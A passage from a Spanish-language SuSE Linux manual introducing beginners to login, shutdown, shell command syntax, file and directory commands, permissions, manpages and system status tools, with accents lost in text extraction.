3. En caso de trabajar remotamente, es mejor usar ssh en lugar de rsh.
4. Desactivar todos los servicios de red no necesarios
5. Mantener actualizados los paquetes importantes para la seguridad del sis-
tema como p. ej. paquete bind, paquete sendmail y paquete ssh.
6. Quite los suid- y sgid bits de todos los ficheros del sistema que general-
mente no son usados par parte de usuarios normales.
7. Controlar regularmente los ficheros de registro (log-files).

410
Captulo 19
Introduccin a Linux

Unix es un sistema a tal punto complejo que a continuacin slo se podrn


aclarar los aspectos ms importantes. El presente manual no ha sido elabo-
rado para remplazar la bibliografa existente sobre Linux o Unix; tampoco lo
podra hacer y ste no es su objetivo.
En todo caso, aconsejamos adquirir un manual adecuado a quienes hayan
decidido utilizar o cambiar DOS por Linux. En el anexo se incluye, a tal
efecto, una lista con bibliografa recomendada. Si se dispone de bibliografa
sobre Unix que no sea especfica para Linux, se podr ver que gran parte de
la informacin sobre el sistema es aplicable a Linux.
Algunos manuales o parte de ellos que pertenecen a GPL, se pueden encon-
trar como ficheros .dvi- o PostScript en el paquete doc, serie books. Pueden
ser visualizados bajo X11 con XDvi (xdvi) o gv (GhostView) e imprimidos
ntegramente o por pginas con lpr.
Pero hasta tener el manual de Unix en las manos, esta introduccin para
principiantes debera alcanzar para dar los primeros pasos en Linux.
Al empezar a trabajar con Unix, despus de una instalacin exitosa, se hace
login con el nombre de usuario que se haya introducido durante la instalacin,
no solo porque para este usuario se hayan predeterminado ciertas caractersti-
cas amistosas, sino tambin porque, como ocurre con el systema Unix, so-
lo usted tiene responsabilidad sobre su directorio de usuario (ingl. home
directory). Este procedimiento, el de trabajar bajo un nombre de usuario, es
til en sistemas operativos multiusuario para la seguridad del sistema. Con
ello es imposible, por ejemplo, cambiar o borrar por equivocacin ficheros
importantes para el sistema.

Una orden undelete como la que existe en DOS, no existe (an) en Linux,
por lo tanto, una alteracin involuntaria de ficheros del sistema podra
hacer necesaria la reinstalacin del sistema por completo.

Para un principiante, el inicio con Linux parece de gran complejidad ante


todo porque a l va unida la complicada tarea de administrador del sistema.

19.1 Hacer login, `root'-Usuario, introduccin de Usuario


La posibilidad de multi-usuarios (ingl. multiuser) de Linux exige que, siem-
pre que se desee utilizar el sistema, primero se deba identificar en una

411
19. Introduccin a Linux

consola (en la cual se tiene previsto trabajar, ver apartado 19.4, Pgina 415)
1 . Este proceso, que es parte indispensable en el concepto de seguridad de un

sistema moderno de multiusuarios, se denomina hacer login; con l se con-


sigue entre otras cosas, que cada usuario tenga su propio entorno de trabajo
y que slo as pueda acceder a sus ficheros. Primero se introduce el nom-
bre de usuario (p. ej. `tux') y luego la contrasea (p. ej. xxxxxx); se deben
reemplazar los smbolos xxxxxx por la contrasea escogida! Los smbolos
 2 :
xxxxxx no aparecen en la pantalla; luego se pulsa Enter 
 -
login: tux  
 -
Password: xxxxxx  
Si se ha hecho login correctamente, se entra al directorio del usuario que
corresponde (p. ej. /home/tux para el usuario `tux').
Para salir del sistema (hacer logout), se introduce la orden logout o exit.
El usuario `root' es el administrador del sistema (System administrator)
y TODO le est autorizado. Los ficheros importantes del sistema slo pueden
ser manipulados por `root'. Por lo tanto, se hace login como `root'
solo cuando sea realmente necesario. De este modo se protege el sistema
de modificaciones involuntarias que, segn el caso, obligaran a una nueva
instalacin.
Algunas acciones slo permitidas a `root' son:

 Montar sistemas de ficheros como CDs y disquetes as como instalacin


de software. Este derecho lo tiene tambin el usuario normal al introducir
la opcin user para el correspondiente perifrico en /etc/fstab (ver
apartado 19.11.2, Pgina 429).
 Introducir y eliminar usuarios (ver apartado 3.7.7, Pgina 100).
 Instalacin de un nuevo kernel.
 Configuracin del sistema.
 Apagar el sistema (ver apartado 19.2, Pgina 412).
 ejecutar YaST (ver Captulo 3).

19.2 Apagar y arrancar el sistema

IMPORTANTE: En ningn caso se debe desconectar la computadora o


pulsar Reset (Reset) mientras el sistema est en funcionamiento, ya que
se pueden producir daos en el sistema de ficheros, con la consiguiente
prdida de datos.

Usar los comandos de la Tabla 19.1 para apagar (ingl. shutdown) correcta-
mente la computadora.
1 Si se ha configurado un login grfico (ver apartado 3.7.6, Pgina 98), el proceso que se describe

a continuacin tiene la misma validez!


 
2 En caso de no haberse otorgado una contrasea al instalar el sistema, ser suficiente con pulsar

Enter !
412
19.3. Comandos lnea de comandos

shutdown -h now detiene el sistema (se podr apagar la mquina


cuando aparezca el mensaje: "the system is
halted")

shutdown -r now reinicia el sistema inmediatamente despus de


haberlo apagado

Tabla 19.1: Comandos para apagar el sistema Linux

En general, el comando shutdown en todas sus variantes slo puede ser


ejecutado por el usuario `root'.
Para apagar el sistema, se entra utilizando la contrasea `root' y se intro-
duce el comando shutdown -h now o shutdown -r now.

          
Tambin se puede iniciar, como se suele hacer en DOS, mediante la combi-
nacin de las teclas Ctrl + Alt + Supr (Ctrl + Alt + Del ). Dado que
esta combinacin de teclas bajo X11 no es reconocida, primero se debe salir
de X11. Sin embargo esta combinacin puede ser usada por cualquier usuario
desde cualquier consola virtual.

19.3 Comandos lnea de comandos


Si bien, el manejo de Linux resulta cada vez ms fcil, p. ej. mediante progra-
mas controlados a travs de men; a fin de cuentas en caso de una emergen-
cia o cuando no se dispone de un programa con men para una determinada
operacin slo nos queda como recurso introducir comandos Unix.

Cules son los comandos de Unix?

Los comandos de Unix son:

 programas ejecutables
 scripts de la shell
 scripts de lenguajes de script como Perl, Tcl, etc.
 shell-alias (como macros de shell).

Todos tienen en comn que son ficheros: al cargar un programa en Linux, se


ordena a la shell que busque el fichero con el nombre del programa (para ello
es necesario una rama de bsqueda, definida por la variable $PATH) y una
vez hallado, lo ejecute, si ste posee la licencia de usuario pertinente.
Pero, qu ocurre si el programa (p. ej. el comando para copiar) necesita
parmetros adicionales o nombres de ficheros?
Esto es relativamente fcil, porque para ello existen los llamados parmet-
ros (ingl. parameter). Los parmetros son argumentos adicionales para un
comando, que le comunican datos necesarios. En la lnea de entrada los

413
19. Introduccin a Linux

parmetros van detrs del nombre del comando, separados como mnimo por
un espacio en blanco 3 .
Por otra parte, puede ser necesario influir en el comportamiento de un coman-
do (p. ej. se desea ver el contenido de un directorio de forma completa y no
slo los nombres de los ficheros). En Linux esto ocurre con las llamadas op-
ciones (ingl. options). Las opciones van siempre inmediatamente despus de
los nombres de los comandos y antes de los parmetros. En ocasiones, y de
forma excepcional, es posible encontrar comandos sucios que no responden
a este formato. Generalmente, las opciones van precedidas de un guin (p. ej.
-la) y pueden obedecer a dos tipos de formato (ver Tabla 19.2).

-a forma corta, comn en Unix


all forma larga, llamada notacin GNU

Tabla 19.2: Opciones para comandos

Cuando haya que utilizar varias opciones, muchos programas de Linux per-
miten acumularlas. Esto significa que no es necesario que todas las op-
ciones vayan, una detrs de otra, precedidas cada una de un guin. Es decir,
slo la primera opcin debera ir precedida de un guin; las siguientes se
escribirn junto a sta inmediatamente despus. Ejemplo:
-a -f -r -u o
-afru o
-frua
El ejemplo muestra que, en general, el orden de las opciones es irrelevante.
Si bien, existen excepciones a esta regla.
Para hacerlo ms complejo, algunas opciones pueden tener a su vez parmet-
ros. Ejemplo:
-f <mifichero> o
-f<mifichero>
En raras ocasiones, (ms bien pocas) puede ser irrelevante que entre la opcin
y su parmetro haya o no un espacio en blanco. En general se debe introducir
uno.

Ejemplos
Resumiendo: en Linux un comando tiene el siguiente aspecto (Ejemplos)4:
tierra: # fdisk
tierra: # lsmod
tierra: # ls
Usando opciones:
tierra: # fdisk -l
tierra: # ls -l -a
tierra: # ls -la
3 Nota: Esto implica que un espacio en blanco no pueda ser parte del parmetro, ya que es el
separador de los argumentos. Un espacio en blanco puede ser usado en un parmetro si ste va
entre comillas "" o .
4 No olvidar: con tierra: # el sistema indica que est preparado para recibir comandos;

estas palabras y caracteres no tendr que introducirlas usted

414
19.4. Consolas virtuales

Con parmetros:
tierra: # fdisk /dev/hda
tierra: # ls /tmp
Con opciones y parmetros:
tierra: # ls -la /tmp
tierra: # rpm -qpl <mipaquete>.rpm
tierra: # gcc -o <parmetro con opciones> <parmetro>
El espacio en blanco es un carcter especial en las series de comandos Linux
ya que fundamentalmente se usa para separar entre s las diferentes partes de
un comando.

19.4 Consolas virtuales


Linux es un sistema multitarea- y multiusuario. Las ventajas que apor-
tan estas caractersticas se agradecen incluso en un sistema PC con un solo
usuario:

       . La sptima
El modo texto ofrece 6 consolas virtuales, a las que se puede acceder me-
diante las combinaciones de las teclas Alt + F1 a Alt + F6 
consola est reservada para X11. 5

           . Para
Si estando en X11 se desea trabajar en una consola virtual sin cerrar X11, se
pulsan las combinaciones Ctrl + Alt + F1 a Ctrl + Alt + F6 
 
volver a X11 pulsar Alt 
 .
+ F7 

19.5 Directorios y nombres de ficheros


Toda la informacin ya sean textos, imgenes, bases de datos o informacin
para la configuracin del sistema se almacena en ficheros, que a su vez se
guardan en directorios. Con todas las herramientas y programas existentes
se puede acceder a estos ficheros para ver su contenido o modificarlo.
El carcter para separar directorios (en DOS `\') es en Unix `/' (ingl. slash).
Un path o camino es una cadena de caracteres en la cual los directorios van
separados mediante `/'. Un `/' indica el directorio de mayor jerarqua, el
directorio raz.
Unix diferencia entre maysculas y minsculas. Es decir, el fichero Pepe no
es el mismo que pepe. En general, no es necesario separar los nombres de
los ficheros en nombre y extensin pero algunos programas s requieren esta
divisin (p. ej. LATEX).
 
La funcin de la tecla Tab (tecla de tabulador) ahorra trabajo a la hora
 . La Shell completa
de introducir los nombres de ficheros o de directorios). Se introducen las
primeras letras del fichero en cuestin y se pulsa Tab 
el nombre del fichero (siempre que la primera o las primeras letras sean
suficientes para identificarla de forma nica). En caso de que haya varias
posibilidades, stas aparecern el la pantalla al pulsar tab por segunda vez.

5 Modificando el fichero /etc/inittab se puede disponer de ms o de menos consolas.

415
19. Introduccin a Linux

19.6 Trabajar con directorios


Despus de hacer login (ver apartado 19.1, Pgina 411) se entra al directorio
de usuario. Esto se puede comprobar con el comando pwd(ingl. print working
directory), el cual indica en qu directorio se encuentra en ese momento:
tux@tierra:/home/tux > pwd
/home/tux
El comando cd (ingl. change directory) sirve (igual que en DOS) para cam-
biar de directorio. Si se introduce
tux@tierra:/home/tux > cd /usr/bin
tux@tierra:/usr/bin >
se cambiar al directorio /usr/bin,
tux@tierra:/home/tux > cd latex
tux@tierra:/home/tux/latex >
cambia al subdirectorio latex, eso s, siempre y cuando en el directorio de
usuario de `tux' exista el directorio /home/tux/latex.
Si se introduce el comando cd sin argumento, se regresa al directorio de
usuario. El nombre del directorio de usuario puede ser reemplazado por el
carcter `'. Al introducir
tux@tierra:/home/tux > cd ~/latex
se cambia al directorio latex del directorio de usuario. Al igual que en
DOS `..' hace referencia al directorio superior y `.' al presente.
Para crear nuevos directorios se usa el comando mkdir (ingl. make) directory.
Al introducir
tux@tierra:/home/tux > mkdir textos
se crea el subdirectorio textos en el directorio en que se encuentre en ese
momento. Para borrar directorios vacos se usa el comando rmdir (ingl.
remove directory).

19.7 Trabajar con ficheros


Si bien es posible que en un futuro los ficheros sean reemplazados por objetos
o smbolos, lo cierto es que hoy por hoy tienen una importancia fundamental
a la hora de trabajar con la computadora. Es por ello que en Linux el nmero
de comandos relacionados con los ficheros es tan grande.

19.7.1 Propiedades de los ficheros


El comando ls muestra una lista con el contenido del directorio en que nos
encontramos (el directorio actual). Esta lista contiene todos los ficheros y los
nombres de los directorios del directorio actual. Los nombres de los directo-
rios aparecen seguidos de `/'. El contenido de otros directorios tambin se
puede visualizar si se introduce el parmetro:
tux@tierra: > ls /usr/bin
A diferencia de DOS, los programas ejecutables no se identifican mediante
extensiones como .exe o .com, sino mediante un asterisco `*' o por el color
rojo. Se trata de algunas de las caracteristicas que se pueden visualizar con
el comando ls; para ms informacin mirar p. ej. la salida en pantalla de:

416
19.7. Trabajar con ficheros

tux@tierra: > ls --help


Nunca se debe indicar el asterisco explcitamente ya que ste solo sirve co-
mo indicador del atributo executable; para mayor informacin ver el Pgi-
na 422.
Una opcin muy prctica de ls es -l, que ofrece una lista ms detallada de
nombres de ficheros que incluye las autorizaciones de acceso, propietarios,
grupo y tamao:
tux@tierra: > ls -l
Esto genera en el monitor la lista que aparece en el Mensaje en pan-
talla 19.7.1.

drwxr-xr-x 6 tux users 1024 Mar 21 12:39 ./


drwxr-xr-x 4 tux users 1024 Mar 21 17:13 ../
drwxr-xr-x 2 tux users 1024 Nov 6 16:19 bin/
-rwxr-xr-x 1 tux users 4160 Mar 21 12:38 check*
drwxr-xr-x 2 tux users 1024 Nov 6 16:23 etc/
drwxr-xr-x 2 tux users 1024 Nov 6 16:19 sbin/
drwxr-xr-x 12 tux users 1024 Nov 6 18:20 usr/
-rw-r--r-- 1 tux users 185050 Mar 15 12:33 xvi.tgz
-rw-r--r-- 1 tux users 98444 Mar 14 12:30 xvnews.tgz

Mensaje en pantalla 19.7.1: Lista obtenida mediante ls -l

El significado de los diferentes campos que aparecen en el Mensaje en pan-


talla 19.7.1 se explica en la Tabla 19.3.

Autorizaciones El primer carcter de este campo designa el tipo


de fichero. `d' significa directorio, `l' link y
`-' designa un fichero normal. Los 9 carac-
teres siguientes indican las autorizaciones de ac-
ceso para el propietario, el grupo y los dems
usuarios (tres caracteres cada uno). `r' signifi-
ca leer, `w' escribir, y `x' ejecutar. Por ejemp-
lo, `-rw-rr' hace referencia a un fichero que
puede ser ledo por el propietario, por los miem-
bros del grupo y por todos los dems, pero que
slo puede ser modificado por el propietario. Ver
la Manpage de chmod (man chmod).
Propietario El propietario del fichero. Ver la Manpage de
chown (man chown).
Grupo Grupo al que pertenece el fichero. Ver la Man-
page de chgrp (man chgrp).
Tamao Tamao del fichero en Bytes.

Tabla 19.3: Contina en la pgina siguiente ...

417
19. Introduccin a Linux

ltima modificacin Fecha de la ltima modificacin del fichero. En


el caso de ficheros que fueron modificados hace
ms de un ao, aparece el ao en lugar de la hora.
Nombre Nombre del fichero o del directorio.

Tabla 19.3: Atributos de un fichero Unix

19.7.2 Wildcards Comodines


En comparacin con DOS, las opciones que ofrece el intrprete de comandos
(p. ej. bash) a travs de las Wildcards son fascinantes.
En Linux, los wildcards no se limitan a `*' y `?'. Por ejemplo, mediante
tux@tierra: > ls *a???.?
se pueden seleccionar todos aquellos ficheros del presente directorio, cuyo
nombre contenga una `a' en sexta posicin por la derecha y cuyo penltimo
carcter sea `.'.
En lugar de un nico carcter `a', se podra introducir un rango de caracteres.
Como pueden ser las letras `a', `b', `c', `d', `e', `f'. Aplicado a nuestro
caso, el comando sera:
tux@tierra: > ls *[a-f]???.?
La bsqueda tambin se puede realizar en un orden no alfabtico:
tux@tierra: > ls *[1,3-5,M-P,a,k]???.?

19.7.3 El contenido de los ficheros


Mediante los comandos more y less es posible visualizar el contenido de un
fichero pgina por pgina. Con el comando clsico more slo se pueden
pasar las pginas hacia abajo6; less es considerablemente ms cmodo y
por lo tanto ms aconsejable. Mediante
tux@tierra: > less /etc/login.defs
se carga el fichero /etc/login.defs en el viewer less, lo cual no llama
 (barra
especialmente la atencin en la primera pgina con contenido del fichero,
aparece una lnea inversa de estado en el borde inferior. Con 
  
espaciadora) se puede adelantar una pgina y con b  retroceder; ver tambin
la Tabla 19.4, Pgina 419.

h Ayuda
q Fin
e Avanzar una lnea

Tabla 19.4: Contina en la pgina siguiente ...


6 more de Linux sabe ms ver la Manpage de more (man more ) ;-)

418
19.7. Trabajar con ficheros

y Retroceder una lnea


f Avanzar una pgina
b Retroceder una pgina
d Avanzar media pgina
u Retroceder media pgina
g Desplazarse al comienzo del fichero
G Desplazarse al final del fichero
/ Iniciar una bsqueda
n Ir al siguiente acierto en una bsqueda
v Cargar un fichero en el editor
F Observar un fichero creciente de tipo (log)
^c Pasar de modo F a normal

Tabla 19.4: Teclas de los Viewers less (seleccin)


Con / 
   , aparece a contin-
se da la orden de buscar una determinada cadena de caracteres (p. ej.
yes) y pulsando  - empieza la bsqueda. Si se pulsa n 
uacin el prximo yes que se encuentre en el fichero.

Con la tecla F se puede observar, p. ej., cmo en un fichero de login se van
 + c .
efectuando nuevas entradas. Para salir de este modo, se pulsa Ctrl 
 
Con h se obtiene un listado de todas las caractersticas que less pone a su
 se sale de Ayuda y al pulsar de nuevo q finaliza el trabajo,
servicio; con q  
se sale del programa por completo y se regresa a la lnea de comandos, junto
al prompt.
Para modificar ficheros de texto se utiliza un editor; el editor estndar de
un sistema Unix es vi, con el cual es imprescindible familiarizarse cuando se
tenga unos minutos de calma (ver apartado 19.15, Pgina 434).

19.7.4 Ficheros ocultos


Un tipo especial de ficheros son los ficheros ocultos. Los nombres de fichero
empiezan con un punto y slo es posible verlos en la shell cuando se uti-
liza ls con la opcin -a. Se introduce sencillamente la orden ls -a des-
de el directorio de usuario. Ahora se debern ver en el listado, tambin los
ficheros ocultos que llevan delante un punto, como por ej. ~/.profile y
~/.xinitrc. Los ficheros ocultos estn protegidos para no ser borrados de
forma involuntaria al usar rm * (ver apartado 19.7.5) y se pueden eliminar,
dado el caso, con una orden explicita de borrado rm <.fichero>.

Con la orden rm .* se borran todos los ficheros ocultos del actual di-
rectorio! Si adems se aade la opcin -r (ingl. recursive) con la orden
(rm -r .*) se borrarn tambin todos los ficheros del directorio superior,
que tengan la forma `../bla', que es lo mismo que `.*'. Se recomienda
ser muy cuidadoso al usar la option -r!

419
19. Introduccin a Linux

19.7.5 Copiar, renombrar y borrar ficheros


El comando para copiar ficheros en Linux es cp:
tux@tierra: > cp fichero_original fichero_copia
Para copiar el fichero /etc/XF86Config del directorio /etc al directorio del
usuario, se puede usar la siguiente orden:
tux@tierra: > cp /etc/XF86Config ~
Los ficheros pueden ser borrados con el comando rm (ingl. remove). Una
opcin prctica es -r (ingl. recursive), mediante la cual se pueden borrar
tambin todos los subdirectorios y los ficheros contenidos en ellos (es com-
parable al comando existente desde DOS 6.0 deltree). Con la instruccin
tux@tierra: > rm -r bin
se borrar p. ej. el directorio bin del actual directorio y todos los subdirecto-
rios y ficheros contenidos en ste. Esta opcin debe ser utilizada con mucho
cuidado ya que no existe ninguna posibilidad de recuperar los ficheros borra-
dos por equivocacin!
Con la orden mv (ingl. move) se mueven ficheros o directorios. La sintaxis es
idntica a la de cp. Con la orden:
tux@tierra: > mv xvnews.tgz XVNEWS.tgz
el fichero xvnews.tgz del actual directorio ser movido al fichero de nom-
bre XVNEWS.tgz del actual directorio, lo que se parece mucho a un simple
renombrar. Esto es muy interesante cuando se trata de mover directorios en-
teros:
tux@tierra: > mv bin ~/latex
mueve el directorio bin (si es que existe uno en el directorio actual) a ~/
latex. Todos los directorios y ficheros que se encontraban bajo bin, se
encuentran ahora bajo ~/latex/bin. Tambin hay que ir con cuidado con
esta instruccin, ya que se puede trasladar de manera rpida una cadena de
directorios a sitios que luego son muy difciles de encontrar.
El traslado de una cadena completa de directorios es slo posible dentro de
un mismo sistema de ficheros (o sea de una particin).

19.7.6 Bsqueda en ficheros


Otra orden de gran utilidad: find. Para buscar en todos los subdirectorios el
fichero Mortadelo, se tendra que escribir el siguiente comando:
tux@tierra: > find . -name "Mortadelo"
El primer argumento designa el directorio a partir del cual se inicia la bsque-
da. La opcin -name es la cadena de caracteres que se busca, en la cual tam-
bin se permite introducir Wildcards. As, para buscar todos los ficheros
que contengan en su nombre la cadena de caracteres `Mortadelo', se debe
modificar la anterior orden de la siguiente forma:
tux@tierra: > find . -name "*Mortadelo*"
Para una descripcin ms detallada recomendamos, como para todos los
dems comandos, consultar la correspondiente Manpage.

420
19.7. Trabajar con ficheros

Existe todava una posibilidad ms rpida de encontrar ficheros mediante


locate (tener en cuenta las Manpages de locate y las Manpages citadas
en ellas).
Cuando no se busca un fichero con nombre especfico, sino una determinada
cadena de caracteres en un fichero, se utilizar el comando grep (ingl. get
regular expression pattern). La siguiente instruccin busca en el fichero
Mortadelo la cadena de caracteres `Filemn':
tux@tierra: > grep "Filemn" Mortadelo
De esa manera se realiza la bsqueda de una determinada cadena de caracteres
en ficheros con textos largos. Se puede realizar esta bsqueda en cualquier
cantidad de ficheros, utilizando wildcards y caracteres normales. Como re-
sultado se obtendrn todas las lneas en las que se encuentre la cadena de
caracteres buscada.
Existen muchas opciones que permiten modificar el comportamiento de grep.
Es por ello que se aconseja leer la Manpage de grep (man grep).

19.7.7 Enlaces simblicos


Mediante la utilizacin de enlaces simblicos se puede atribuir un nombre
extra a un fichero. Con este nombre se seala el fichero. Puede pasar p. ej.
que diferentes versiones de un programa sean retiradas, pero que las consigu-
ientes nuevas versiones puedan ser siempre utilizadas bajo el mismo nombre.
La solucin radica en crear un enlace simblico que seale respectivamente la
versin que se vaya a utilizar. Los enlaces simblicos se comportan como los
ficheros a los que sealan, por lo tanto, tambin son ejecutables. La siguiente
orden
tux@tierra: > ln -s check.2.4 check
crea el enlace simblico check, el cual seala al fichero check.2.4. En el
directorio se indicara lo siguiente:
lrwxrwxrwx 1 tux users 1024 Mar 21 17:13 check -> check.2.4*
Los enlaces pueden, de igual manera que los ficheros, ser borrados con rm.

Con ello slo se borra el enlace y no el fichero al cual hace referencia!

19.7.8 Archivar y guardar Datos


Para crear o desempaquetar ficheros se usa el comando tar (ingl. tape
archive). Un fichero puede contener un solo fichero o una cadena entera de
directorios, includos los ficheros que stos contengan.
Los ficheros as empaquetados pueden ser tambin comprimidos, lo cual re-
duce de manera considerable su tamao. Normalmente a estos ficheros com-
primidos se les da la terminacin .tgz o .tar.gz, y .tar a los no comprim-
idos. Los casos ms frecuentes de utilizacin del comando tar son:

1. Desempaquetar ficheros (p. ej. del CD)


tux@tierra: > tar xvfz fichero.tgz

421
19. Introduccin a Linux

tar desempaqueta (x) el fichero fichero.tgz (f) comprimido (z) y crea


los subdirectorios de forma automtica. El nombre de cada fichero que en
ese momento es desempaquetado aparece en la pantalla (v).
2. Crear ficheros
tux@tierra: > tar cvfz fichero.tgz fichero1 direc1

tar crea (c) el fichero fichero.tgz (f) comprimido (z), en el cual se


incluyen el fichero fichero1 y todos los subdirectorios y ficheros que
contiene el directorio direc1. El nombre de cada fichero que en ese
momento es empaquetado aparece en la pantalla (v).
3. Mirar el contenido de un fichero
tux@tierra: > tar tfz fichero.tgz

tar da un ndice (t) del fichero fichero.tgz (f) comprimido (z).


La opcin z indica que se debe usar el programa GNUZip (gzip) para crear
o desempaquetar ficheros comprimidos.
tux@tierra: > tar xvf fichero.tar
desempaqueta el fichero no comprimido fichero.tar. Se obtiene ms in-
formacin con la instruccin:
tux@tierra: > tar --help

19.8 Autorizaciones para ficheros


Slo el usuario `root' tiene, como administrador del sistema, acceso sin
restricciones a todos los ficheros. Esto tambin significa que es el nico
autorizado para otorgar o quitar todos los derechos de acceso.

19.8.1 El concepto de las autorizaciones


La distribucin de los derechos de acceso sobre un fichero, se estructura en
tres categoras:
 Derechos del propietario ((ingl. owner))
 Derechos de los miembros de un grupo ((ingl. group))
 Derechos de todos los dems ((ingl. others))
En el listado de ficheros (forma larga) de un directorio, cada una de estas tres
categoras se representa mediante tres caracteres.
Contando el primer carcter, que representa el tipo de fichero (d, l, o -),
tendremos los 10 banderines de cada fichero. Cada bandern es representado
por un carcter. Los banderines son los mismos para las tres categoras:
`r' para leer (ingl. readable), `w' para escribir (ingl. writable) y `x' para
ejecutar (ingl. executable). El carcter `-' indica que no se ha colocado el
bandern, y por lo tanto esa opcin no est autorizada. Observemos a modo
de ejemplo el fichero imaginario linux.info.
-rw-r-xr-- 1 tux users 29524 Jun 29 13:11 linux.info
En el caso del fichero linux.info, sto significara lo siguiente: El propi-
etario del fichero (tux) puede modificarlo y leerlo, los miembros del grupo

422
19.8. Autorizaciones para ficheros

- r w - r - x r - -
Type Owner Group Others

Figura 19.1: Representacin de las autorizaciones de acceso a un fichero

users slo pueden leerlo y ejecutarlo, mientras que el resto de los usuarios
del sistema slo pueden leerlo. El primer carcter `-' de la cadena indica
que se trata de un fichero (ingl. regular file) normal.
Con los directorios ocurre igual. En este caso, el primer carcter de la cadena
es `d' (ingl. directory). Por ejemplo:
drwxr-xr-- 3 tux users 1024 Jun 29 13:11 info/
Cuando a un directorio se le ha colocado el bandern `x', significa que se
tiene acceso a l.
En nuestro ejemplo significara que los usuarios que no pertenecen al grupo
users no pueden acceder al directorio info.

Cambiar las autorizaciones de acceso


El cambio de las autorizaciones de acceso se realiza con el comando chmod
(ingl. change mode). Por lo general se necesitan para chmod dos argumentos:
 las autorizaciones de acceso a cambiar, y
 el nombre de fichero.
Las categoras de los tres posibles grupos se indican con `u' para el propi-
etario o usuario (ingl. user), `g' para el grupo (ingl. group) y `o' para todos
los dems (ingl. others). Tras esto se indican las autorizaciones a cambiar.
Para aadir un permiso se usa `+' y el signo `-' para quitar el mismo. El
siguiente comando p. ej. modifica las autorizaciones del fichero linux.info
para los miembros del grupo a lectura, escritura y ejecutable:
tux@tierra: > chmod g+rwx linux.info
Modificando las autorizaciones de todas las categoras de usuarios, es sufi-
ciente indicar el cambio de las mismas. En el siguiente ejemplo, las autor-
izaciones sobre el fichero linux.info se modifican de tal manera, que nadie
tenga acceso de escritura (derecho de escribir y modificar):
tux@tierra: > chmod -w linux.info
Las autorizaciones de lectura y ejecucin no se ven afectadas.
Existe tambin la posibilidad de aadir y de quitar autorizaciones con un solo
comando. La siguiente orden cambia los derechos sobre el fichero linux.
info a ejecutable, no legible y no modificable:
tux@tierra: > chmod u+x-rw linux.info
De lo cual resulta:
tux@tierra: > ls -l linux.info
---xr-xr-- 1 tux users 29524 Jun 29 13:11 linux.info
Otros comandos que son interesantes en este contexto son chown para el
cambio de propietario (ingl. change owner) y el comando chgrp para cam-
biar el grupo (ingl. change group).

423
19. Introduccin a Linux

19.9 Manpages
Las Manpages (pginas de manual) informan sobre comandos, ficheros de
configuracin y las funciones de biblioteca de C. En la Tabla 19.5 se anotan
las distintas posibilidades para el comando man.

man < palabra clave> llama la Manpage de < pala-


bra clave>.

man -f < palabra clave> busca por <palabra clave> y


apunta las Manpages encon-
tradas.

man -k < palabra clave> busca en todas las secciones


de las Manpages por una
con la palabra clave <pala-
bra clave> y apunta las que
se hayan encontrado.

man < seccin> < palabra clave> llama la Manpage de <pa-


labra clave> desde la <sec-
cin>. As que p. ej. el co-
mando man 1 man llama la
Manpage del comando man
desde la seccin 1.

Tabla 19.5: Llamadas al comando man

Cuando se est en el Sistema X Window tambin se puede usar el programa


xman. No obstante el comando normal man tiene su razn de ser, ya que
simplemente es ms rpido. Para mostrar las Manpages, el comando man usa
la herramienta less (ver apartado 19.7.3, Pgina 418). Si se tiene instalado el
sistema de ayuda de SuSE, se pueden consultar las Manpages cmodamente.
Las Manpages se separan en diferentes secciones (ver Tabla 19.6, Pgi-
na 425).

1 Descripcin de los comandos de usuario aparte de aquellos que


vienen integrados con bash o tcsh; hay informacin sobre estos
en la Manpage de la shell usada.
2 Las llamadas al sistema de las distintas bibliotecas.
3 Las funciones de biblioteca de C.
4 Descripcin de ficheros de configuracin.

Tabla 19.6: Contina en la pgina siguiente ...

424
19.10. Informacin sobre el estado del sistema

5 La sintaxis de ficheros importantes.


6 Descripcin de juegos.
7 Todo lo que tiene que ver con texto, formatos de texto u otros.
8 Los comandos del administrador de sistema.
9 Descripcin de las rutinas de kernel de Linux.
n n segn el dicho se deriva de nuevo. Aqu hay Manpages que
pertenecen a las secciones indicadas arriba, pero que se han quedado
aqu por tradicin. Tambin hay de las que no pertenecen a ninguna
de las secciones mencionadas.

Tabla 19.6: Secciones de las Manpages

Se debe tener en cuenta que no existe una Manpage para cada palabra clave
o comando. Es posible encontrar informacin en /usr/doc/, p. ej. en /usr/
doc/howto/en, /usr/doc/howto/en/mini o individual para cada paquete
en /usr/doc/packages.

19.10 Informacin sobre el estado del sistema


Muchas veces es importante tener informacin sobre el estado del sistema.
En esto ayudan los comandos df, free, ps, top.

19.10.1 El comando df
df informa sobre el espacio usado y disponible en el disco duro. La respuesta
en pantalla es parecida a la del Mensaje en pantalla 19.10.1.

Filesystem 1024-blocks Used Available Capacity Mounted on

/dev/sda4 699392 659258 5165 99% /home


/dev/sda1 102384 23955 73310 25% /
/dev/sdb1 2097136 2070485 26651 99% /usr
/dev/sda3 126976 106908 20068 84% /opt

Mensaje en pantalla 19.10.1: Respuesta del comando df

19.10.2 El comando free


free informa sobre la ocupacin de la memoria y del rea de intercambio
(swap):

19.10.3 El comando w
El comando w muestra todos los usuarios que actualmente han entrado a su
cuenta en el sistema. Aparte de indicar la cantidad de usuarios conectados,
aparecen otros datos tiles como son la carga actual del sistema, el tiempo

425
19. Introduccin a Linux

total used free shared buffers cached


Mem: 30900 29272 1628 25608 1012 6412
-/+ buffers: 28260 2640
Swap: 66524 176 66348

Mensaje en pantalla 19.10.2: Respuesta del comando free

que el sistema est en marcha y lo que hacen los usuarios (ver Mensaje en
pantalla 19.10.3, Pgina 426).

11:19pm up 9 days, 11:13, 13 users, load average: 3.26, 2.80, 2.67


User tty from login@ idle JCPU PCPU what
root tty2 2:09pm 9:10 -bash
root ttyp1 :0.0 2:11pm 2 4 2 xdvi -s 3 Li
root ttypa :0.0 11:19pm w
root tty1 2:07pm 9:08 50 (startx)
tux ttyp0 tierra.cosmos.univ 11:37am 11 2 2 -bash
root ttyp3 :0.0 3:24pm 4 rlogin sol
tux ttyp2 tierra.cosmos.univ 3:22pm 1 46 2 -bash
root ttyp4 :0.0 3:27pm 1:48 8 bash
root ttyp5 :0.0 5:40pm 5 1 1 telnet tierra
tux ttyp6 venus.cosmos.univ 3:53pm 3 5 5 -bash
root ttyp7 :0.0 4:25pm 6:05 bash
tux ttyp8 sol.cosmos.univ 9:37pm 1:30 1 telnet tierra
tux ttyp9 sol.cosmos.univ 9:50pm 1:27 -bash

Mensaje en pantalla 19.10.3: Respuesta del comando w

19.10.4 El comando du

El comando du (ingl. disk usage) informa sobre la ocupacin de disco por


